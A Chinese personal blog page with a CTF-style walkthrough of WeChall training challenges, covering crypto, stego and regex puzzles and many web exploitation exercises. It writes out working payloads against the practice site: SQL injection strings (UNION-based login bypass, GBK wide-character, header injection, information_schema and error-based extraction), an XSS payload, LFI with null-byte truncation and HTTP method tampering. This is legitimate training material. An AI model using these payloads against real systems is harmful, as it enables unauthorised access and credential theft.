6
24
2019
2

一套Firekylin的主题~

我造了一套Firekylin的主题,欢迎大家下载试用(Watch&Star!)

https://github.com/init-new-world/Theme_initialize

为啥要造主题呢?因为我有了新的blog,为了让自己的blog不再千篇一律,所以就造了个主题。

至于以后的文章,会同时在这两个blog中更新,除非特殊声明

新博客还没有完全搭好,所以就不放网址了

Category: 大学 | Tags:
6
10
2019
2

WeChall 综合练习

刚刚结束的TCTF上,由于Web题的惨剧导致我们学校和其他几个战队组建的联合战队被ROIS爆了。。。

虽然我只是一个旁观者,我们Pwn上的优势没有挽救我们Web上面的颓势

立个flag:我来

前面的Pikachu基本做完了(除了SQL等部分),这些部分由WeChall上面的练习来弥补。

前一阵子搞MISC比较多,但是现在碰到一些奇怪的隐写or乱搞一样不会

最近翻blog发现了r3kapig里面flappypig战队的大佬,决定跟着这个轨迹来搞一遍Web相关(可能不仅仅是Web?)

Let's start!(题目不一定按顺序排列,可以用Ctrl+F搜索)

------------------------------------

Training:Get Sourced

看源代码得到答案

------------------------------------

Training:Stegano I

改成txt文件看下

------------------------------------

Training:Crypto - Caesar I
里面有凯撒解密,还能用英文字典直接分析,比较方便
或者用http://quipqiup.com,传统置换密码基本都可以解密。

------------------------------------

Training:WWW-Robots
访问主站的robots.txt得到答案

------------------------------------

Training:ASCII

写个Python脚本

a = "84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 112, 103, 109, 111, 112, 114, 97, 115, 110, 102, 102, 98";
for i in a.split(', '):
    print("{0}".format(chr(int(i))),end='')

------------------------------------

Encodings - URL Encode
用现成的Hackbar工具直接解密URL字符串

------------------------------------

Prime Factory
编程直接解决
Python C++均可 为了练习Python我用Python编写的
import math
a = 1000000
count = 0
while True:
    flag = 1
    for i in range(2,int(math.sqrt(a))+1):
        if (a%i == 0):
            flag = 0
            break
    Sum = 0
    if(flag == 1):
        b = str(a)
        for i in b:
            Sum += int(i)
        for i in range(2,int(math.sqrt(Sum))+1):
            if (Sum%i == 0):
                flag = 0
                break
    if(flag == 1):
        count = count + 1
        print("{0}".format(a),end = '')
    a = a + 1
    if(count == 2):
        break

------------------------------------

Training:Encodings I
给了个JPK
这个工具很好用!
注意此时是七位一分格,ASCII码
很奇妙

------------------------------------

Training:Programming I
这个需要编程,不然反应没法这么快
那就编一下,顺便学一下urllib
代码中的WC是Cookie,注意根据每个人的不同而不同,可以在Firefox上用Cookie Editor知道
其实没必要用最后的打印,毕竟只要打开就行了
import urllib.request
from io import BytesIO
import gzip
headers = {
    'Host':'www.wechall.net',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Referer':'http://www.wechall.net/challenge/training/programming1/index.php',
    'Cookie':'WC=123',
    'DNT':'1',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}
url1 = r'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
url2 = r'http://www.wechall.net/challenge/training/programming1/index.php?answer='
req = urllib.request.Request(url=url1,headers=headers,method='POST')
data = urllib.request.urlopen(req)
str1 = data.read().decode('utf-8')
str2 = url2+str1
print(str2)
req1 = urllib.request.Request(url=str2,headers=headers,method='POST')
data = urllib.request.urlopen(req1)
buff = BytesIO(data.read())
f = gzip.GzipFile(fileobj=buff)
print(f.read().decode('utf-8'))

------------------------------------

Training:Regex
好吧,要学正则表达式……
我最痛恨的东西之一
那就学吧
level1: 答案是/^$/,我因为没加两个斜杠思考了半天
level2: /^wechall$/
level3: 绞尽脑汁编了一个/^wechall[4]?\.(?:jpg|gif|tiff|bmp|png)$/
然后他说最短的就39个字符。。。于是又要思考了,我这个41个字符
于是我把4的左右括号删了,就成功了
payload = /^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/
level4: 思考了很久,编了一个 /^(?:\w+)(?=\.\w+$)/
于是不行。
想了下,可能会出现www.123.jpg这种情况,于是再改一下
/^(?:[\.\w]+)(?=\.\w+$)/
还是不行,十分头疼,到底是啥没匹配上?
那就上网搜一下,于是就没搜到
又弄了一个更加激进的/^(?:[\w\W]*)(?=\.[\w\W]+$)/
然而还不行
弃疗了,希望有大佬告诉我这个题怎么解

------------------------------------

Training:PHP LFI
好久没碰Web题目了,%00截断都忘了……
于是答案是?file=../../solution.php%00
------------------------------------
PHP 0817
结尾加上?which=solution就可以了
那么,为什么可以呢?我查了一下,发现是这个原因:
PHP中switch的逻辑是根据传入switch()的参数,和下面的case参数用==(重点!)比较,相同就执行,不同就下一个
这个执行的逻辑和C语言是一样的,也是不碰到break就一直执行。
那么,在这个题目上,我们用了?which=solution,而在PHP中(int)$string是等于0的,那么这个switch就进入了case 0的循环中,然而没有break,于是会一直执行到正常的文件包含的地方,然后就没了。
------------------------------------
Training:WWW-Basic
需要一个服务器
我自己写了个自动发包登录然后POST的python脚本,然后利用服务器发
结果……Wechall似乎有个识别是否脚本登录的功能,怎么也成功不了
于是先放下,等到我弄个远程桌面再说
弄好了
------------------------------------
Limited Access
注意给了.htaccess
发现只limit了GET
于是我们用burpsuite改成POST发包就结束
------------------------------------
Limited Access Too
发现limit了一堆东西
那么我们继续改包,随便打几个字符替换掉GET就行
------------------------------------
HOST me
改包,把Host改成localhost
注意此时发包的对象(HOST)就不对了,这时候把上面GET后面的网址补全即可
------------------------------------
Training:Tracks
先投一次
然后改包,把VOTE和下面的If-None-Match里面改个新的一样的值然后发包就行
------------------------------------
htmlspecialchars
经典的情况……知道PHP中htmlspecialchars不会自动转换单引号,这个题就成功了
解决方案是在htmlspecialchars的函数中添加第二个参数ENT_QUOTES,表示对两种引号均进行编码
------------------------------------
Yourself PHP
XSS点不在username,在源代码下面的$_SERVER['PHP_SELF']
这个东西是你的网页地址,所以我们进行奇怪的构造
/"></form><script>alert(1);</script>
加在源网页后面就过了(下面没有进行htmlspecialchars的判断)
------------------------------------
Training:Registered Globals
https://www.php.net/manual/zh/security.globals.php
也就是说,我们能用GET改参数。
于是我们加上?login[0]=admin就过了。
------------------------------------
Training:MySQL I
先学习SQL语句的格式,然后就会了
考虑mysql的注释
于是在username字段填写admin'#
就过了
------------------------------------
Training:MySQL II
联合查询语句和SELECT的使用
https://www.runoob.com/sql/sql-select.html
https://www.runoob.com/sql/sql-union.html
同时,我们还知道SELECT可以选择常量。
于是这题就可以做了
注意看源代码知道了数据的储存格式,于是构造
在username字段填写' UNION SELECT 0,'admin',md5('') FROM users WHERE ''='
也可以' UNION SELECT 0,'admin',md5('') ORDER BY '3
第二个短一点
密码为空,直接提交过关
注:在几天后,我有了新想法' UNION SELECT 0,'admin',md5('')#
更短
------------------------------------
No Escape
先投一票,观察一下
然后构造payload为?vote_for=bill`=111--+在网址后面
至于为什么不能用#来注释,我也不知道……
------------------------------------
Addslashes
看到源文件中有GBK就立刻想到宽字符注入。
既然用GET查询,那么构造?username=%df%27+UNION+SELECT+CHAR(65,100,109,105,110)--+&password=&login=%E6%B3%A8%E5%86%8C
没了
------------------------------------
The Guestbook
注意源文件的gbook_getIP()
这里没有对ip进行过滤
那么我们加上X-Forwarded-For就好了
于是抓包,加X-Forwarded-For:127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'));#
然后看留言板,没了
------------------------------------
MD5.SALT
输点东西,发现会出一个Hello xxxx
那我们来进行注入,构造Admin' AND 1=2 UNION SELECT password,password FROM users WHERE username='Admin'#
然后就是Hello xxxxx(这个是密码)
然后四处找网站,cmd5和xmd5要收我钱,pmd5解不出,于是找到了somd5
解出答案是academicsalt21
登录,不行,但是题目名提示了我们:MD5.SALT
于是把salt21删掉,就过了
------------------------------------
Table Names
MySQL盲注
先找到库的名字' AND 1=2 UNION SELECT 1,2,DATABASE()#
根据库的名字找表名' AND 1=2 UNION SELECT DATABASE(),2,GROUP_CONCAT(table_name) FROM information_schema.columns WHERE table_schema='gizmore_tableu61'#
然后有好几个表(aaawrong,),哪个是正确的呢?
于是我们测试一下,注意给了帐号test
输入为空和输入' AND 1=2 UNION SELECT * FROM gizmore_tableu61.usertableus4#一样,得知答案为gizmore_tableu61_usertableus4
其实,有时候我们还需要知道字段,也顺便写下吧' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usertableus4'#
爆用户名' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(username) FROM gizmore_tableu61.usertableus4#
爆密码' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(password) FROM gizmore_tableu61.usertableus4#
本题结束
------------------------------------
Table Names II
这个题建议看大佬的题解,在此之前我不知道有processlist这个东西
输入为' AND 1=2 UNION SELECT info,2,3 FROM information_schema.processlist#
以下为举一反三:
注意这个方法也可以用在Table Names这题上, 但是只有表的名字,所以数据库是默认数据库——在上一题可以用DATABASE()获得
但是如果上一题不允许用DATABASE()呢?于是我们本机先USE mysql;再测一下SHOW processlist;
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| Id | User            | Host            | db    | Command | Time  | State                  | Info             |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
|  4 | event_scheduler | localhost       | NULL  | Daemon  | 20408 | Waiting on empty queue | NULL             |
|  9 | root            | localhost:13940 | mysql | Query   |     0 | starting               | show processlist |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
有一行是db——得到了当前的数据库
于是上一题有了一种不需要DATABASE()的做法' AND 1=2 UNION SELECT info,2,GROUP_CONCAT(db) FROM information_schema.processlist#
------------------------------------
Light in the Darkness
注入方式floor注入
' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(password,FLOOR(RAND(0)*2)))#
注意把报错的最后一个1删掉,这个1是CONCAT加上去的
------------------------------------
Training:LSB
图片搞下来
然后用StegSolve打开一个个图层看,就有答案
------------------------------------
PHP 0815
弱类型转换问题
字符串和in_array比较没有启用严格比较是不比较数据类型的
所以我们加上强制转换就行了
也就是-0
与整数相减后得到的是整数
------------------------------------

Just for fun.

Category: CTF | Tags: CTF

Host by is-Programmer.com | Power by Chito 1.3.3 beta | Theme: Aeros 2.0 by TheBuckmaker.com